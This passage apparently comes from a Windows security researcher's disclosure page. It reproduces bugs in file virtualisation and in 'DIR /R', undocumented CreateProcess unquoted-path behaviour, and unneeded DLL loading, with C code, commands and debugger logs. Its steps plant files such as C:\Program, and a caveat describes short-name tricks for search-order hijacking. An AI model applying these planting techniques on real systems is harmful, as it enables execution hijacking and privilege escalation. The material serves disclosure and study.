LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.wsc' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.wsc' File 'C:\Windows\system32:Quirk49.wsf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.wsf' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.wsf' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.wsf' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.wsf' File 'C:\Windows\system32:Quirk49.wsh' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.wsh' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.wsh' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.wsh' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.wsh' File 'C:\Windows\system32:Quirk49.xll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.xll' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.xll' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.xll' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.xll' 0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.OUCH: although creation of Alternate Data Streams succeeds, all subsequent accesses fail with either the wrong Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
or the wrong error code 126 alias
ERROR_MOD_NOT_FOUND
,
i.e. File Virtualisation of
Alternate Data Streams is seriously
broken!
Show the bug of the DIR
command:
MKDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32\Quirk49" DIR /R /S "%LOCALAPPDATA%\VirtualStore\Windows"
Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> System32 2 System32:Quirk49.acm:$DATA 2 System32:Quirk49.asa:$DATA 2 System32:Quirk49.asp:$DATA 2 System32:Quirk49.ax:$DATA 2 System32:Quirk49.bat:$DATA 2 System32:Quirk49.chm:$DATA 2 System32:Quirk49.cmd:$DATA 2 System32:Quirk49.cnt:$DATA 2 System32:Quirk49.cnv:$DATA 2 System32:Quirk49.com:$DATA 2 System32:Quirk49.cpl:$DATA 2 System32:Quirk49.crt:$DATA 2 System32:Quirk49.dll:$DATA 2 System32:Quirk49.drv:$DATA 2 System32:Quirk49.efi:$DATA 2 System32:Quirk49.exe:$DATA 2 System32:Quirk49.fon:$DATA 2 System32:Quirk49.hlp:$DATA 2 System32:Quirk49.hta:$DATA 2 System32:Quirk49.ime:$DATA 2 System32:Quirk49.inf:$DATA 2 System32:Quirk49.ins:$DATA 2 System32:Quirk49.iso:$DATA 2 System32:Quirk49.isp:$DATA 2 System32:Quirk49.its:$DATA 2 System32:Quirk49.js:$DATA 2 System32:Quirk49.jse:$DATA 2 System32:Quirk49.lnk:$DATA 2 System32:Quirk49.msc:$DATA 2 System32:Quirk49.msi:$DATA 2 System32:Quirk49.msp:$DATA 2 System32:Quirk49.mst:$DATA 2 System32:Quirk49.mui:$DATA 2 System32:Quirk49.nls:$DATA 2 System32:Quirk49.ocx:$DATA 2 System32:Quirk49.pif:$DATA 2 System32:Quirk49.reg:$DATA 2 System32:Quirk49.scr:$DATA 2 System32:Quirk49.sct:$DATA 2 System32:Quirk49.shb:$DATA 2 System32:Quirk49.shs:$DATA 2 System32:Quirk49.sys:$DATA 2 System32:Quirk49.tlb:$DATA 2 System32:Quirk49.tmp:$DATA 2 System32:Quirk49.tsp:$DATA 2 System32:Quirk49.ttf:$DATA 2 System32:Quirk49.url:$DATA 2 System32:Quirk49.vb:$DATA 2 System32:Quirk49.vbe:$DATA 2 System32:Quirk49.vbs:$DATA 2 System32:Quirk49.wll:$DATA 2 System32:Quirk49.wsc:$DATA 2 System32:Quirk49.wsf:$DATA 2 System32:Quirk49.wsh:$DATA 2 System32:Quirk49.xll:$DATA 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32 04/27/2020 08:15 PM <DIR> . 2 .:Quirk49.acm:$DATA […] 2 .:Quirk49.xll:$DATA 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Config 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32\Quirk49 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 2 ..:Quirk49.acm:$DATA […] 2 ..:Quirk49.xll:$DATA 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 0 File(s) 0 bytes Total Files Listed: 0 File(s) 0 bytes 10 Dir(s) 9,876,543,210 bytes freeOops: the internal
DIR /R
command of
the Command Processor enumerates
Alternate Data Streams not only on regular directories,
but also on the virtualdirectories
.
and
..
synthesised by the
Win32 functions
FindFirstFile()
and
FindNextFile()
,
resulting in (double or) triple listing of
Alternate Data Streams when the switches
/R
and /S
are used together!
Finally cleanup the garbage left in the virtual store
due to
the first bug:
RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32\Quirk49" RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\System32" RMDIR "%LOCALAPPDATA%\VirtualStore\Windows\SysWoW64"
CreateFileTransacted()
and
DeleteFileTransacted()
as well as
CreateProcessAsUser()
,
CreateProcessWithLogonW()
,
CreateProcessWithTokenW()
,
CreateSymbolicLink()
,
CreateSymbolicLinkTransacted()
,
LoadLibraryEx()
,
LoadModule()
,
MoveFile()
,
MoveFileEx()
,
MoveFileTransacted()
,
MoveFileWithProgress()
,
ReplaceFile()
,
ShellExecute()
,
ShellExecuteEx()
and
WinExec()
is left as an exercise to the reader.
Note: the comparison of the dangerous
extensions exempted from File Virtualisation against
the Unsafe File List
documented in the
MSKB
article
291369
is also left as an exercise to the reader.
.wll
or .xll
, are
vulnerable to well-known weaknesses like
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
CWE-73: External Control of File Name or Path,
CWE-426: Untrusted Search Path
and
CWE-427: Uncontrolled Search Path Element
documented in the
CWE™;
they allow well-known attacks like
CAPEC-471: Search Order Hijacking
documented in the
CAPEC™.
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableVirtualization"=dword:00000000
This policy setting is documented in the
TechNet
article
UAC Group Policy Settings and Registry Key Settings.
virtual storedirectory
%LOCALAPPDATA%\VirtualStore\
and below.
Caveat: beware but of their loopholes!
CreateProcess()
,
CreateProcessAsUser()
,
CreateProcessWithLogonW()
and
CreateProcessWithTokenW()
functions states:
Creates a new process and its primary thread. […]Caveat: this enumeration may erroneously be interpreted that the[…]BOOL CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
lpApplicationName
The name of the module to be executed. This module can be a Windows-based application. It can be some other type of module (for example, MS-DOS or OS/2) if the appropriate subsystem is available on the local computer.
The string can specify the full path and file name of the module to execute or it can specify a partial name. In the case of a partial name, the function uses the current drive and current directory to complete the specification. The function will not use the search path. This parameter must include the file name extension; no default extension is assumed.
The lpApplicationName parameter can be NULL. In that case, the module name must be the first white space-delimited token in the lpCommandLine string. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. For example, consider the string "c:\program files\sub dir\program name". This string can be interpreted in a number of ways. The system tries to interpret the possibilities in the following order:
- c:\program.exe
- c:\program files\sub.exe
- c:\program files\sub dir\program.exe
- c:\program files\sub dir\program name.exe
CreateProcess*()
functions always
append the extension .exe
!
The MSKB article 812486 states:
This issue may occur if the path of the executable file for the service contains spaces.When Windows starts a service, it parses the path of the service from left to right. If both of the following conditions are true, Windows may locate and try to run the file or folder before it locates and runs the executable file for the service:
For example, if the path of the executable file for a service is C:\Program Files\MyProgram\MyService.exe, and if a folder that is named C:\Program also exists on your hard disk, Windows locates the C:\Program folder on your hard disk before the C:\Program Files\MyProgram\My Service.exe file, and then tries to run it.
- The path of a service’s executable file contains spaces.
- There is a file or folder on your computer’s hard disk that has the has the same name as a file or folder in the path to the service's executable file.
Create the text file quirk50.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <psapi.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
DWORD dwError = ERROR_SUCCESS;
DWORD dwThread;
DWORD dwProcess;
WCHAR szProcess[MAX_PATH];
WCHAR szCmdLine[MAX_PATH];
WCHAR szDevice[MAX_PATH];
DWORD dwDevice;
DWORD dwDrives;
DWORD dwDrive;
WCHAR szDrive[] = L"@:";
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
#if 0
if (ExpandEnvironmentStrings(L"%CommonProgramFiles%\\Microsoft Shared\\MSInfo\\MSInfo32.exe",
#elif 0
if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Common Files\\Microsoft Shared\\MSInfo\\MSInfo32.exe",
#elif 0
if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Internet Explorer\\IExplore.exe",
#elif 0
if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Windows Mail\\WAB.exe",
#else
if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Windows NT\\Accessories\\WordPad.exe",
#endif
szCmdLine,
sizeof(szCmdLine) / sizeof(*szCmdLine)) == 0)
PrintConsole(hConsole,
L"ExpandEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
if (!CreateProcess((LPCWSTR) NULL,
szCmdLine,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
(LPWSTR) NULL,
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hConsole,
L"CreateProcess() returned error %lu\n",
dwError = GetLastError());
else
{
#if 0 // BUG: GetModuleFileNameEx() fails with ERROR_INVALID_HANDLE
dwProcess = GetModuleFileNameEx(pi.hProcess,
(HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess == 0)
PrintConsole(hConsole,
L"GetModuleFileNameEx() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"Child process %lu loaded from image file \'%ls\'\n",
pi.dwProcessId, szProcess);
#else
dwProcess = GetProcessImageFileName(pi.hProcess,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess == 0)
PrintConsole(hConsole,
L"GetProcessImageFileName() returned error %lu\n",
dwError = GetLastError());
else
{
dwDrives = GetLogicalDrives();
if (dwDrives == 0)
PrintConsole(hConsole,
L"GetLogicalDrives() returned error %lu\n",
dwError = GetLastError());
else
while (_BitScanForward(&dwDrive, dwDrives))
{
dwDrives &= dwDrives - 1;
szDrive[0] = L'A' + (WORD) dwDrive;
if (QueryDosDevice(szDrive,
szDevice,
sizeof(szDevice) / sizeof(*szDevice)) == 0)
PrintConsole(hConsole,
L"QueryDosDevice() returned error %lu\n",
dwError = GetLastError());
else
{
dwDevice = wcslen(szDevice);
#ifndef _WIN64
if ((dwProcess > dwDevice)
&& (szProcess[dwDevice] == L'\\')
#if 0
&& (wmemcmp(szProcess, szDevice, dwDevice) == 0))
#else
&& (memcmp(szProcess, szDevice, dwDevice * sizeof(*szDevice)) == 0))
#endif
{
szProcess[--dwDevice] = L':';
szProcess[--dwDevice] = L'A' + (WORD) dwDrive;
PrintConsole(hConsole,
L"Child process %lu loaded from image file \'%ls\'\n",
pi.dwProcessId, szProcess + dwDevice);
}
#else // _WIN64
if ((dwProcess > dwDevice)
&& (szProcess[dwDevice] == L'\\'))
{
szProcess[dwDevice] = L'\0';
if (wcscmp(szProcess, szDevice) == 0)
{
szProcess[dwDevice--] = L'\\';
szProcess[dwDevice--] = L':';
szProcess[dwDevice] = L'A' + (WORD) dwDrive;
PrintConsole(hConsole,
L"Child process %lu loaded from image file \'%ls\'\n",
pi.dwProcessId, szProcess + dwDevice);
}
else
szProcess[dwDevice] = L'\\';
}
#endif // _WIN64
}
}
}
#endif
PrintConsole(hConsole,
L"Child process %lu with primary thread %lu created\n",
pi.dwProcessId, pi.dwThreadId);
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeThread(pi.hThread, &dwThread))
PrintConsole(hConsole,
L"GetExitCodeThread() returned error %lu\n",
dwError = GetLastError());
else
if (dwThread > 65535)
PrintConsole(hConsole,
L"Primary thread %lu of child process %lu exited with code 0x%08lX\n",
pi.dwThreadId, pi.dwProcessId, dwThread);
else
PrintConsole(hConsole,
L"Primary thread %lu of child process %lu exited with code %lu\n",
pi.dwThreadId, pi.dwProcessId, dwThread);
if (!CloseHandle(pi.hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
PrintConsole(hConsole,
L"GetExitCodeProcess() returned error %lu\n",
dwError = GetLastError());
else
if (dwProcess > 65535)
PrintConsole(hConsole,
L"Child process %lu exited with code 0x%08lX\n",
pi.dwProcessId, dwProcess);
else
PrintConsole(hConsole,
L"Child process %lu exited with code %lu\n",
pi.dwProcessId, dwProcess);
if (!CloseHandle(pi.hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk50.exe
from the
source file quirk50.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk50.c kernel32.lib psapi.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk50.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk50.c quirk50.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk50.exe quirk50.obj kernel32.lib psapi.lib user32.lib
Execute the console application quirk50.exe
built in
step 2. to demonstrate its proper function:
.\quirk50.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: close the window opened by WordPad to let the console application
quirk50.exe
continue and terminate.
Child process 8036 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 8036 with primary thread 7568 created Primary thread 7568 of child process 8036 exited with code 0 Child process 8036 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
Create the text file quirk50.txt
with the following
content in an arbitrary, preferable empty directory:
4d 5a 40 00 01 00 00 00 04 00 00 00 ff ff 00 00 MZ@.............
00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
00 00 00 00 19 57 04 27 00 00 00 00 00 00 00 00 .....W.'........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Run the following command line to create the (invalid)
DOS executable file Program
in the root
directory of the system drive
:
CertUtil.exe /DecodeHex quirk50.txt "%SystemDrive%\Program"
Input Length = 268 Output Length = 64 CertUtil: -error command completed successfully.
Run the following command lines to create an empty file
Program
in the root directory of the
system drive
and execute the console application
quirk50.exe
a second time:
COPY NUL: "%SystemDrive%\Program" .\quirk50.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows Vista and later versions of Windows NT, creation of the empty file requires administrative rights.
1 file(s) copied. CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.Oops²: the documentation for the
CreateProcess*()
functions cited above fails to
enumerate the possible execution of C:\Program
, i.e. a
file without extension!
Note: with delayed expansion
enabled for
the Command Processor, the path name
%SystemDrive%\Program
can be constructed as
!ProgramFiles: %ProgramFiles:* =%=!
.
Move the empty file C:\Program
created in step 4.
as file Windows
into the directory
%SystemDrive%\Program Files\
alias
%ProgramFiles%\
and execute the console application
quirk50.exe
a third time:
MOVE "%SystemDrive%\Program" "%Program Files%\Windows" .\quirk50.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, moving the empty file requires administrative rights.
CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.Oops²: the documentation for the
CreateProcess*()
functions cited above fails to
enumerate the possible execution of
C:\program files\sub
as well as
C:\program files\sub dir\program
too!
Rename the empty file %ProgramFiles%\Windows
as
%ProgramFiles%\Windows.exe
, i.e. append the (default)
extension, then create the empty directory
%ProgramFiles%\Windows
and execute the console
application quirk50.exe
a fourth time:
RENAME "%Program Files%\Windows" Windows.exe MKDIR "%Program Files%\Windows" .\quirk50.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, renaming the empty file and creation of the empty directory requires administrative rights.
Child process 8860 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 8860 with primary thread 11828 created Primary thread 11828 of child process 8860 exited with code 0 Child process 8860 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Oops²: the documentation for the
CreateProcess*()
functions cited above fails to
specify their behaviour when both a directory
C:\program files\sub
without extension and a file
C:\program files\sub.exe
with (default) extension
exist – the latter is not executed then!
Move both the empty file %ProgramFiles%\Windows.exe
as
Program.exe
and the empty directory
%ProgramFiles%\Windows
as Program
into the
root directory of the system drive
, then execute the console
application quirk50.exe
a fifth time:
MOVE "%Program Files%\Windows.exe" "%SystemDrive%\Program.exe" MOVE "%Program Files%\Windows" "%SystemDrive%\Program" .\quirk50.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, moving the empty file and the empty directory requires administrative rights.
Child process 5288 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 5288 with primary thread 14340 created Primary thread 14340 of child process 5288 exited with code 0 Child process 5288 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Oops³: the documentation for the
CreateProcess*()
functions cited above fails to
specify their behaviour when both a directory
C:\program
without extension and a file
C:\program.exe
with (default) extension exist
– the latter is not executed then!
Remove the empty directory %SystemDrive%\Program
and
copy an arbitrary executable as %SystemDrive%\Program
,
then execute the console application quirk50.exe
a last
time:
RMDIR "%SystemDrive%\Program" COPY "%ComSpec%" "%SystemDrive%\Program" .\quirk50.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 10 and later versions of Windows NT, erasing the empty directory requires administrative rights.
Note: on Windows Vista and later versions of Windows NT, copying the executable file requires administrative rights.
1 file(s) copied. CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.Oops⁴: the documentation for the
CreateProcess*()
functions cited above fails to
specify their behaviour when two files
‹filename›
and
‹filename›.exe
exist in the same
directory – the latter is executed then, not the former!
Finally erase the files %SystemDrive%\Program
and
%SystemDrive%\Program.exe
:
ERASE "%SystemDrive%\Program" "%SystemDrive%\Program.exe"Note: on Windows Vista and later versions of Windows NT, erasing the empty file requires administrative rights.
c:\program files\sub dir\program name
exists next to
c:\program files\sub dir\program name.exe
respectively
when a file or directory as well as a symbolic link or junction
C:\Program Files\MyProgram\My Service
exists next to
C:\Program Files\MyProgram\My Service.exe
is left as an
exercise to the reader!
Caveat: unless 8.3 filename creation is disabled,
users owning the SE_RESTORE_NAME
privilege (typically
members of the
BUILTIN\Administrators
and the
BUILTIN\Backup Operators
group)
might just add short names via the
SetFileShortName()
function or the
File SetShortName
command of the FSUtil.exe
utility, for example
PROGRAM
for the directory %ProgramFiles%\
,
PROGRAM.EXE
for an arbitrary file
%SystemDrive%\‹executable›
,
COMMON
for the directory
%CommonProgramFiles%\
,
COMMON.EXE
for an arbitrary file
%ProgramFiles%\‹executable›
,
INTERNET
for the directory
%ProgramFiles%\Internet Files\
,
INTERNET.EXE
for an arbitrary file
%ProgramFiles%\‹executable›
,
WINDOWS
for the directory
%ProgramFiles%\Windows NT\
,
WINDOWS.EXE
for an arbitrary file
%ProgramFiles%\‹executable›
,
etc.
The WOW64 emulator runs in user mode. It provides an interface between the 32-bit version of Ntdll.dll and the kernel of the processor, and it intercepts kernel calls. The WOW64 emulator consists of the following DLLs:These DLLs, along with the 64-bit version of Ntdll.dll, are the only 64-bit binaries that can be loaded into a 32-bit process. On Windows 10 on ARM, CHPE (Compiled Hybrid Portable Executable) binaries may also be loaded into an x86 32-bit process.
- Wow64.dll provides the core emulation infrastructure and the thunks for the Ntoskrnl.exe entry-point functions.
- Wow64Win.dll provides thunks for the Win32k.sys entry-point functions.
- (x64 only) Wow64Cpu.dll provides support for running x86 programs on x64.
- (Intel Itanium only) IA32Exec.bin contains the x86 software emulator.
- (Intel Itanium only) Wowia32x.dll provides the interface between IA32Exec.bin and WOW64.
- (ARM64 only) xtajit.dll contains the x86 software emulator.
- (ARM64 only) wowarmw.dll provides support for running ARM32 programs on ARM64.
At startup, Wow64.dll loads the x86 version of Ntdll.dll (or the CHPE version, if enabled) and runs its initialization code, which loads all necessary 32-bit DLLs. […]
NTDLL.dll
deems necessary.
Create the text file quirk51.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
int main(void)
{
return 'VOID';
}
Note: this trivial minimal program has 0 (in words:
zero) dependencies, i.e. the initialisation code of
NTDLL.dll
has no
reason to load any other
DLL
at all!
Build the 32-bit console application quirk51.exe
from
the source file quirk51.c
created in step 1.:
SET CL=/W4 /X /Zl SET LINK=/ENTRY:main /NODEFAULTLIB CL.EXE quirk51.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk51.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:main /NODEFAULTLIB /out:quirk51.exe quirk51.objFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Execute the 32-bit console application quirk51.exe
built in step 2. under the 32-bit debugger
CDB.exe
:
CDB.EXE /C q /G /g .\quirk51.exe
Microsoft (R) Windows Debugger Version 6.1.7601.17514 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\quirk51.exe Symbol search path is: srv* Executable search path is: ModLoad: 01230000 01232000 image01230000 ModLoad: 779c0000 77b40000 ntdll.dll ModLoad: 75610000 75720000 C:\Windows\syswow64\kernel32.dll ModLoad: 752d0000 75317000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 75540000 755e1000 C:\Windows\syswow64\ADVAPI32.DLL ModLoad: 757a0000 7584c000 C:\Windows\syswow64\msvcrt.dll ModLoad: 77420000 77439000 C:\Windows\SysWOW64\sechost.dll ModLoad: 77300000 773f0000 C:\Windows\syswow64\RPCRT4.dll ModLoad: 750e0000 75140000 C:\Windows\syswow64\SspiCli.dll ModLoad: 750d0000 750dc000 C:\Windows\syswow64\CRYPTBASE.dllOOPS¹: 8 (in words: eight) not explicitly referenced and thus neither necessary nor required DLLs are loaded in
Caveat: on 64-bit systems, a 32-bit debugger
doesn’t receive LOAD_DLL_DEBUG_EVENT
and
UNLOAD_DLL_DEBUG_EVENT
events for 64-bit
DLLs.
Execute the 32-bit console application quirk51.exe
built in step 2. under the 64-bit debugger
CDB.exe
:
CDB.EXE /C q /G /g .\quirk51.exe
Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\quirk51.exe Symbol search path is: srv* Executable search path is: ModLoad: 00000000`12340000 00000000`12342000 image00000000`12340000 ModLoad: 00000000`77800000 00000000`7799f000 ntdll.dll ModLoad: 00000000`779c0000 00000000`77b40000 ntdll32.dll ModLoad: 00000000`75040000 00000000`7507f000 C:\Windows\SYSTEM32\wow64.dll ModLoad: 00000000`74fe0000 00000000`7503c000 C:\Windows\SYSTEM32\wow64win.dll ModLoad: 00000000`74fd0000 00000000`74fd8000 C:\Windows\SYSTEM32\wow64cpu.dll ModLoad: 00000000`775e0000 00000000`776ff000 WOW64_IMAGE_SECTION ModLoad: 00000000`75610000 00000000`75720000 WOW64_IMAGE_SECTION ModLoad: 00000000`775e0000 00000000`776ff000 NOT_AN_IMAGE ModLoad: 00000000`77700000 00000000`777fb000 NOT_AN_IMAGE ModLoad: 00000000`75610000 00000000`75720000 C:\Windows\syswow64\kernel32.dll ModLoad: 00000000`752d0000 00000000`75317000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 00000000`75540000 00000000`755e1000 C:\Windows\syswow64\ADVAPI32.DLL ModLoad: 00000000`757a0000 00000000`7584c000 C:\Windows\syswow64\msvcrt.dll ModLoad: 00000000`77420000 00000000`77439000 C:\Windows\SysWOW64\sechost.dll ModLoad: 00000000`77300000 00000000`773f0000 C:\Windows\syswow64\RPCRT4.dll ModLoad: 00000000`750e0000 00000000`75140000 C:\Windows\syswow64\SspiCli.dll ModLoad: 00000000`750d0000 00000000`750dc000 C:\Windows\syswow64\CRYPTBASE.dllOOPS²: as before!
Build the 64-bit console application quirk51.exe
from
the source file quirk51.c
created in step 1.:
SET CL=/W4 /X /Zl SET LINK=/ENTRY:main /NODEFAULTLIB CL.EXE quirk51.c
Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk51.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:main /NODEFAULTLIB /out:quirk51.exe quirk51.obj
Execute the 64-bit console application quirk51.exe
built in step 5. under the 64-bit debugger
CDB.exe
:
CDB.EXE /C q /G /g .\quirk51.exe
Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\quirk51.exe Symbol search path is: srv* Executable search path is: ModLoad: 00000000`12340000 00000000`12342000 image00000000`12340000 ModLoad: 00000000`77800000 00000000`7799f000 ntdll.dll ModLoad: 00000000`775e0000 00000000`776ff000 C:\Windows\system32\kernel32.dll ModLoad: 000007fe`fd510000 000007fe`fd577000 C:\Windows\system32\KERNELBASE.dll ModLoad: 000007fe`fd980000 000007fe`fda5b000 C:\Windows\system32\ADVAPI32.dll ModLoad: 000007fe`fe1c0000 000007fe`fe25f000 C:\Windows\system32\msvcrt.dll ModLoad: 000007fe`fe260000 000007fe`fe27f000 C:\Windows\SYSTEM32\sechost.dll ModLoad: 000007fe`ff250000 000007fe`ff37c000 C:\Windows\system32\RPCRT4.dllOOPS³: 6 (in words: six) not explicitly referenced and thus neither necessary nor required DLLs are loaded in
Finally (try to) execute the 64-bit console application
quirk51.exe
built in step 5. under the 32-bit
debugger CDB.exe
:
CDB.EXE /C q /G /g .\quirk51.exe
Microsoft (R) Windows Debugger Version 6.1.7601.17514 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\quirk51.exe Cannot execute '.\quirk51.exe', Win32 error 0n50 "The request is not supported." Debuggee initialization failed, Win32 error 0n50 "The request is not supported."
Gatesparticle with a mass equivalent to some 100 G$.
